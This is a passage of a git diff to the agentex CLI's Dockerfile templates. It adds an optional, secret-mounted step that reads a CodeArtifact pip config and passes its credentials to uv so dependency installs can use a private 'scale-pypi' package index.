/run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default/Dockerfile.j2 b/src/agentex/lib/cli/templates/default/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 93d0f82d1..36d2cd787 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 index 6cdc70799..380262f6d 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index 02860b9b9..d926486ca 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 index afa4470d9..6a6212d3f 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr 